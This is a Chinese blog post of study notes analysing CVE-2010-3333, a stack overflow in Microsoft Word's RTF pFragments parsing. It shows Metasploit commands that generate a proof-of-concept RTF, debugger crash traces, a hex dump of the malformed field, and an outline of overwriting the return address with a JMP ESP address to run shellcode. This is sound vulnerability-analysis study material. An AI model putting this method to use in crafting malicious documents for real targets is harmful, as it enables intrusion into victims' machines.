

《漏洞战争》学习笔记·2 CVE-2010-3333

原创

[useror](#) 于 2019-05-27 13:58:18 发布 495 收藏

分类专栏: [漏洞](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/useror/article/details/90600818>

版权



[漏洞](#) 专栏收录该内容

10 篇文章 0 订阅

订阅专栏

知识补充

RTF格式是为文本和图像信息格式的交换制定的一种文件格式, 使用与不同设备, 操作环境和系统。RTF文件基本元素: 正文、控制字、控制符号、群组

控制字: RTF用来标记打印控制字和管理文档信息的一种特殊格式的命令, RTF用它做正文格式的控制代码, 每个控制字均以 **一个反斜杠\开头, 由a~z小写字母组成**, 通常不应该包含任何大写字母, 而每个分隔符标志着控制字名称的结束。使用格式: **\字母序列<分隔符>**。

控制符号由反斜杠后跟一个单独的、非字母的字符, 表示一个特定的符号。

群组由包含在大括号中的文本、控制字或控制符组成。左扩符 { 表示组的开始, 右扩符 } 表示组的结束。每个组包括文本和文本的不同属性。RTF文件也能同时包括字体、格式、屏幕颜色、图形、脚注、注释、文件头、文件尾、摘要信息、域和书签的组合、以及文档区段、段落和字符的格式属性。

一个完整的RTF文件包括文件头<header>和文档区<document>两大部分, 可用以下语法表示:

```
<File>{'<header> <document>'}
```

漏洞发生原因

样本数据分析如下：

\rtf1 —— RTF 版本
\ansi —— 支持 ANSI 字符集
\shp —— 绘图对象
*\shpinst —— 图片引用
\sp —— 绘图对象属性定义
\sn pFragments —— 定义属性名称，pFragments 段是图形的附加部分，属于数组结构。它允许图形包含多个路径和分段，该属性列出图形各个碎片
\sv —— 定义属性值

RTF分析器正是在解析pFragments属性值时，没有正确计算属性值所占用的空间大小，导致栈溢出漏洞的发生。

<https://blog.csdn.net/Useror>

来自tools loversorry: 分析一个漏洞的成因，不是只是再现。我觉得真正的成因其实你没有找到，应该是在处理什么功能的时候，调用了哪个函数，然后又调用了哪个函数，再调用哪个函数.....最后在哪里产生溢出，这个溢出是否特殊，如何可以触发，触发的条件是什么，shellcode有没有特殊要求。2、一般找溢出点我自己以前是这样弄的：触发溢出，在处理seh的那个handler的api函数上下断点，中断后根据seh链逐级往上走，最终走如代码空间就找到了。当然有时也会对堆栈的一个地址下写中断，中断后直接就找到点了。3、其实找触发，再现触发这些都不难。难的是处理各种特殊环境的情况，如何让你的shellcode避开这些特殊环境，如何避开操作系统的各类安全机制。

基于栈回溯的漏洞分析方法

首先，通过Metasploit生成可触发漏洞的Poc样本，实际的病毒样本对分析Exploit技术或Shellcode技术更有研究和学习价值（但分析环境也更复杂）。Metasploit安装方法，linux下安装吧，windows杀软报毒爆炸。

```
[*] **Starting the Metasploit Framework console...
[-] * WARNING: No database support: No database YAML file
[-] ***

..:ok00kdc'          'cdk000ke;
.x00000000000000c   c0000000000000x,
:000000000000000k, ;k000000000000000;
'00000000kkk00000: ;0000000000000000'
o00000000 M000 o000000001.M000,00000000o
d0000000 M000000 c00000c.M00000,00000000x
l0000000 M00000000;d M00000000,00000000l
.00000000 M000 ;M000000000 M000,00000000.
c0000000 M000.00c M00000 o00 M00,0000000c
o000000 M000.0000 M00 o000 M00,000000o
l00000 M000.0000 M00 o000 M00,00000l
;0000 M000.0000 M00 o000 M00,0000;
.d000 M000.000000c;0000 MX x000;
.k0l M0000000000000 M dok,
.kk;-.0000000000000;.0k;
;k000000000000000k;
,x0000000000000;
.l0000000l.
.dod,
.
.

+ -- ==[ metasploit v5.0.25-dev- ]
+ -- ==[ 1894 exploits - 1068 auxiliary - 329 post ]
+ -- ==[ 547 payloads - 44 encoders - 10 nops ]
+ -- ==[ 2 evasion ]

msf5 > search cve-2010-3333

Matching Modules
=====
# Name                                     Disclosure Date Rank Check Description
-- -- --                                     -
0 exploit/windows/fileformat/ms10_087_rtf_pfragments_bof 2010-11-09 great No MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format) [File Format] net/useror
```

命令：

```
root@ubuntu:~# msfconsole
msf5 > search cve-2010-3333
msf5 > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > info
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 6
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit
```

```
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 6
target => 6
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit

[*] Creating 'msf.rtf' file ...
[+] msf.rtf stored at /root/.msf4/local/msf.rtf
```

环境配置

- 操作系统：xp pro sp3 来源msdn itellyou
- 调试器：Immunity Debugger Windbg 合集 key:0zy6
- 反汇编器：IDA Pro 7 key:wjey
- 漏洞软件：Microsoft Word 2003 sp3

注意事项

使用windbg必须配置调试符号（配置符号真的很? 所以我觉得还是用Immunity Debugger来追溯吧）

调试过程

1.附加调试 g 命令之后打开msf文件即断到异常处

```
eip=7c92120e esp=0800120c ebp=0800120c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\ntdll.dll -
ntdll!DbgBreakPoint:
7c92120e cc          int     3
0:004> g
ModLoad: 76d70000 76d92000 C:\WINDOWS\system32\appHelp.dll
ModLoad: 76590000 765de000 C:\WINDOWS\System32\cscui.dll
```

```

ModLoad: 76570000 7658c000 C:\WINDOWS\System32\CSCDLL.dll
ModLoad: 75ef0000 75fed000 C:\WINDOWS\system32\browseui.dll
ModLoad: 7e550000 7e6c1000 C:\WINDOWS\system32\shdocvw.dll
ModLoad: 765e0000 76673000 C:\WINDOWS\system32\CRYPT32.dll
ModLoad: 76db0000 76dc2000 C:\WINDOWS\system32\MSASN1.dll
ModLoad: 75430000 754a1000 C:\WINDOWS\system32\CRYPTUI.dll
ModLoad: 76680000 76726000 C:\WINDOWS\system32\WININET.dll
ModLoad: 76c00000 76c2e000 C:\WINDOWS\system32\WINTRUST.dll
ModLoad: 76c60000 76c88000 C:\WINDOWS\system32\IMAGEHLP.dll
ModLoad: 76f30000 76f5c000 C:\WINDOWS\system32\WLDAP32.dll
ModLoad: 39800000 399b3000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLL
ModLoad: 76f20000 76f28000 C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 762d0000 762e0000 C:\WINDOWS\system32\WINSTA.dll
(3e8.2f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000c8ac ebx=05000000 ecx=0000019b edx=00000000 esi=1104c24c edi=00130000
eip=30e9eb88 esp=00123d98 ebp=00123dd0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\
mso!Ordinal6426+0x64d:
30e9eb88 f3a5          rep movs dword ptr es:[edi],dword ptr [esi]

```

异常所在处

00010000	00001000	Priv	RW	RW
00020000	00001000	Priv	RW	RW
00105000	00001000	Priv	???	Guai
00106000	0002A000	Priv	RW	Guai
00130000	00003000	Map	R	R
00140000	00100000	Priv	RW	RW
00240000	00006000	Priv	RW	RW
00250000	00003000	Map	RW	RW
00260000	00016000	Map	R	R
00280000	00041000	Map	R	R
002D0000	00041000	Map	R	R
00320000	00006000	Map	R	R
00330000	00041000	Map	R	R
00380000	00002000	Map	R	R
00390000	00003000	Map	R	R
00450000	00002000	Map	R	R
00460000	00103000	Map	R	R
00570000	0000D000	Priv	RW	RW
00580000	00046000	Map	R	R
00880000	00001000	Priv	RW	RW
00890000	00001000	Priv	RW	RW

EDDI所指向

https://blog.csdn.net/useror

主线程溢出所在点

```

30E9EB3 - 0BC1 MOV EAX,ECX
30E9EB5 - C1E9 02 SHR ECX,2 右移2位 32B 双字计数
30E9EB8 - F3A5 REP MOVSD DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
30E9EBA - 0BC8 MOV ECX,EAX
30E9EB6 - 03E1 03 AND ECX,3
30E9EB8F F3A4 REP MOVSB BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
30E9EB91 - 5E POP ESI
30E9EB92 > 5F POP EDI
30E9EB93 < 02 0C00 CALL EBX
30E9EB96 < 56 PUSH ESI
30E9EB97 - 57 PUSH EDI
30E9EB98 - 52 PUSH EDX
30E9EB99 - 51 PUSH ECX
30E9EB9A - E8 00B9E9FF CALL mso.30D4A49F
30E9EB9F - 0BF2 MOV ESI,EDX
30E9EA1 - 0BF3 MOV EDI,EAX
30E9EA3 - 0BC6 OR EAX,ESI
30E9EA5 - 0F84 197B0200 JE mso.30EC66C4
30E9EAB - 05F6 TEST ESI,ESI
30E9EABD - 53 PUSH EBX
30E9EAE - 7F 0E JG SHORT mso.30E9EBBE
30E9EAB0 - 0F8C F7790200 JL mso.30EC65AD
30E9EAB6 - 05FF TEST EDI,EDI
30E9EAB8 - 0F82 EF790200 JB mso.30EC65AD
30E9EABE > 33DB XOR EBX,EBX

```

```

D 0
0 0 LastErr ERROR_SUCCESS (00000000)
EPL 00010206 <(NO,NB,NE,A,NS,PE,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
FSI 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 <GT)
FCW 037F Prec NEAR.64 Mask 1 1 1 1 1 1

```

Address	Hex dump	ASCII
00130000	41 63 74 78 20 00 00 00 01 00 00 00 B8 24 00 00	Actx...@...?..
00130010	04 00 00 00 00 00 20 00 00 00 00 00 00 00 00	?.....
00130020	14 00 00 00 01 00 00 00 06 00 00 00 34 00 00 00	4.....
00130030	14 01 00 00 01 00 00 00 00 00 00 00 00 00 00 00	4D...@...?
00130040	00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 002....
00130050	00 00 00 00 00 00 00 00 00 00 00 00 14 02 00 00140200
00130060	9C 01 00 00 00 00 00 00 5B 49 59 2D B0 03 00 00	?...IIV-?
00130070	32 00 00 00 E4 03 00 00 D2 02 00 00 00 00 00 00	2...?-?
00130080	E4 02 02 03 B8 06 00 00 46 00 00 00 07 00 00 00	?05...F...?
00130090	E0 02 00 00 00 00 00 D2 05 0C D1 EC 09 00 00 00	?...老察?
001300A0	46 00 00 00 34 0A 00 00 EA 02 00 00 00 00 00 00	F..4..?
001300B0	2E AD 68 D8 20 0D 00 00 46 00 00 00 68 0D 00 00	...?..F...h...
001300C0	24 03 00 00 10 00 00 00 04 00 00 00 D4 00 00 00	\$...?..?
001300D0	02 00 00 00 01 00 00 00 14 01 00 00 AC 0F 00 00	@...@...?
001300E0	01 00 00 00 02 00 00 00 C0 10 00 00 2C 03 00 00	@...@...?..?
001300F0	01 00 00 00 04 00 00 00 EC 13 00 00 50 10 00 00	@...?..?..P...
00130100	02 00 00 00 06 00 00 00 3C 24 00 00 7C 00 00 00	@...?..?..I...
00130110	02 00 00 00 53 73 48 64 2C 00 00 00 01 00 00 00	@...Sshd...@...
00130120	01 00 00 00 01 00 00 00 05 00 00 00 88 00 00 00	@...@...?..?
00130130	01 00 00 00 78 0F 00 00 2C 00 00 00 50 00 00 00	@...x@...Z...
00130140	50 00 00 00 00 00 00 00 00 00 00 00 00 00 00	Z.....Z.....
00130150	00 00 00 00 00 00 00 00 02 00 00 00 24 00 00 00@...\$...
00130160	34 00 00 00 43 00 30 00 5C 00 57 00 49 00 4E 00	4...@...>U...N

0012FFAC	4C3B714C	LqBL
0012FFB0	724C3721	q9Lr
0012FFB4	31724C30	6Ls1 mso.31724C30
0012FFB8	4C32724C	Lr2L
0012FFBC	724C3722	r3Lr
0012FFC0	35724C34	4Lr5
0012FFC4	4C36724C	Lr6L
0012FFC8	724C3722	r7Lr
0012FFCC	37724C38	6Lr9 riched20.39724C38
0012FFD0	4C3734C	6Lr0
0012FFD4	734C3173	s1Ls MSUBUM60.734C3173
0012FFD8	33734C32	2Ls3
0012FFDC	4C34734C	Ls4L
0012FFE0	734C3573	s5Ls MSUBUM60.734C3573
0012FFE4	37734C36	6Ls7
0012FFE8	4C38734C	Ls8L
0012FFEC	744C3973	s9Ls
0012FFF0	31744C30	0Lr1 mso.31744C30
0012FFF4	4C32744C	Lr2L
0012FFF8	744C3374	t3Lr
0012FFFC	35744C34	4Lr5

填充溢出到主线程空间造成崩溃 <https://blog.csdn.net/useror>

崩溃点分析

The screenshot displays a debugger interface with three main panels:

- Assembly Code:** Shows instructions such as `JG SHORT mso.30E9E8C`, `POP EAX, EDI`, `MOV EAX, DWORD PTR SS:[ESP+4]`, and `SHR ECX, 2`. Comments indicate operations like "将ESI指向0Aa0A1等填充数据" and "右移2位 322B".
- Registers (FPU):** Shows register values: `EAX 0000C8AC`, `ECX 0000123D`, `EDX 00000000`, `EIP 30E9E88 mso.30E9E88`, and `EAX 00000000`.
- Memory Dump:** Shows a hex dump of memory starting at `1104000C` with corresponding ASCII characters.

开始前填充寄存器状态

EAX=0xC8AC 这是写在RTF文档中的（目前理解是拷贝大小 pFragments 属性值的第3个字段，偏移8个字符后即为复制数据的大小 希望大牛可以指点下如何查找这种粒度的文档 查到的资料只有描述没有这种字节程度的定义）

ECX=0x322B C8AC右移2位 实现双字数

ESI=1104000C 指向被复制的数据储存起始（此处数据应该可以改写为shllecode）

EDI=00123DC0 数据填充起始地址

The screenshot shows a hex editor window with the following data:

Address	Hex	ASCII
0000h	7B 5C 72 74 66 31 7B 5C 73 68 70 7B 5C 73 70 7B	{\rtf1{\shp\sp{
0010h	5C 73 6E 20 70 46 72 61 67 6D 65 6E 74 73 7D 7B	{\sn pFragments}{
0020h	5C 73 76 20 33 3B 33 3B 31 31 31 31 31 31 31 31	{\sv 3;3;11111111
0030h	61 63 63 38 34 31 36 31 33 30 34 31 36 31 33 31	acc8416130416131
0040h	34 31 36 31 33 32 34 31 36 31 33 33 34 31 36 31	4161324161334161
0050h	33 34 34 31 36 31 33 35 34 31 36 31 33 36 34 31	3441613541613641
0060h	36 31 33 37 34 31 36 31 33 38 34 31 36 31 33 39	6137416138416139
0070h	34 31 36 32 33 30 34 31 36 32 33 31 34 31 36 32	4162304162314162
0080h	33 32 34 31 36 32 33 33 34 31 36 32 33 34 34 31	3241623341623441
0090h	36 32 33 35 34 31 36 32 33 36 34 31 36 32 33 37	6235416236416237
00A0h	34 31 36 32 33 38 34 31 36 32 33 39 34 31 36 33	4162384162394163
00B0h	33 30 34 31 36 33 33 31 34 31 36 33 33 32 34 31	3041633141633241
00C0h	36 33 33 33 34 31 36 33 33 34 31 36 33 33 35	6333416334416335
00D0h	34 31 36 33 33 36 34 31 36 33 33 37 34 31 36 33	4163364163374163
00E0h	33 38 34 31 36 33 33 39 34 31 36 34 33 30 34 31	3841633941643041
00F0h	36 34 33 31 34 31 36 34 33 32 34 31 36 34 33 33	6431416432416433
0100h	34 31 36 34 33 34 34 31 36 34 33 35 34 31 36 34	4164344164354164
0110h	33 36 34 31 36 34 33 37 34 31 36 34 33 38 34 31	3641643741643841
0120h	36 34 33 39 34 31 36 35 33 30 34 31 36 35 33 31	6439416530416531
0130h	34 31 36 35 33 32 34 31 36 35 33 33 34 31 36 35	4165324165334165
0140h	33 34 34 31 36 35 33 35 34 31 36 35 33 36 34 31	3441653541653641
0150h	36 35 33 37 34 31 36 35 33 38 34 31 36 35 33 39	6537416538416539
0160h	34 31 36 36 33 30 34 31 36 36 33 31 34 31 36 36	4166304166314166

A red arrow points to the value `acc8` at address `0030h`, with the text "填充数据" (Fill data) next to it.

崩溃过程利用分析

将返回地址用Jmp Esp指令地址覆盖，具体操作为 复制数据大小的值之后再偏移0x14字节，覆盖到返回地址；然后将 shellcode放置在后面，由于在漏洞函数的结尾出，在返回时会弹出0x14大小的栈空间，因此在Jmp Esp中填充一些垃圾字节以填充空缺。

5F	POP EDI
C9	LEAVE
C2 1400	RETN 0x14

5f c9 c2 14 00

00401FB3	83	DB 83
00401FB4	B7 5F	MOV BH,0x5F
00401FB6	1F	POP DS
00401FB7	7D 00	JGE SHORT JustRe.00401FB9
00401FB9	74 51 40	ASCII "tQ@",0

b7 5f 1f 7d 00

关于GetPC技术在看雪的几种神仙操作